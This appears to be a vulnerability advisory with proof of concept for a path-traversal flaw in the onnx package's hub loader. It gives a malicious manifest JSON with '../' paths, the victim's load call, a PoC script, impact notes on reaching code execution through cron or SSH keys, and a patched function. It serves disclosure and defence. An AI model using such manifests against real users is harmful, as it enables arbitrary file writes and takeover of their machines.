onnx-hub-path-traversal-poc

ONNX Hub Path Traversal via Manifest Fields

Metadata

• Package: onnx (PyPI)
• Version: <= 1.19.1
• Type: Path Traversal / Arbitrary File Write
• CWE: CWE-22

Summary

The onnx.hub.load() and onnx.hub.download_model_with_test_data() functions read model_path and model_with_data_path from a remote manifest without path validation. When using untrusted repositories, this allows writing files outside the hub cache directory.

Vulnerable Code

hub.py line 256-261:

selected_model = get_model_info(model, repo, opset)
local_model_path_arr = selected_model.model_path.split("/")
# ...
local_model_path = join(_ONNX_HUB_DIR, os.sep.join(local_model_path_arr))

hub.py line 323-335:

local_model_with_data_path_arr = selected_model.metadata["model_with_data_path"].split("/")
# ...
local_model_with_data_path = join(_ONNX_HUB_DIR, os.sep.join(local_model_with_data_path_arr))

Both fields come from ONNX_HUB_MANIFEST.json served by the repository. No validation prevents ../ sequences.

Attack

1. Attacker creates GitHub repo with malicious manifest:

[{
  "model": "evil",
  "model_path": "../../../../../../../tmp/PWNED.onnx",
  "metadata": {
    "model_with_data_path": "../../../../../../../tmp/PWNED.tar.gz"
  }
}]

1. Victim runs:

import onnx.hub
onnx.hub.load("evil", repo="attacker/repo:main", silent=True)

1. File written to /tmp/PWNED.onnx instead of ~/.cache/onnx/hub/

PoC

import os
from os.path import join

_ONNX_HUB_DIR = os.path.expanduser("~/.cache/onnx/hub")
malicious_model_path = "../../../../../../../tmp/PWNED.onnx"

local_model_path_arr = malicious_model_path.split("/")
local_model_path = join(_ONNX_HUB_DIR, os.sep.join(local_model_path_arr))

print(f"Result: {os.path.abspath(local_model_path)}")
# Output: /tmp/PWNED.onnx

Impact

Arbitrary file write when loading models from untrusted repositories. Enables code execution via cron, SSH keys, shell profiles, etc.

Requires:

• Victim uses attacker's repo explicitly
• Victim uses silent=True OR clicks "y" on warning

Fix

def load(model, repo="onnx/models:main", ...):
    selected_model = get_model_info(model, repo, opset)
    local_model_path_arr = selected_model.model_path.split("/")

    if ".." in local_model_path_arr:
        raise ValueError("Path traversal detected in manifest")

    local_model_path = join(_ONNX_HUB_DIR, os.sep.join(local_model_path_arr))

    abs_hub = os.path.abspath(_ONNX_HUB_DIR)
    abs_target = os.path.abspath(local_model_path)
    if not abs_target.startswith(abs_hub + os.sep):
        raise ValueError("Path escapes hub directory")

Affected Functions

1. onnx/hub.py line 261 - load()
2. onnx/hub.py line 333-334 - download_model_with_test_data()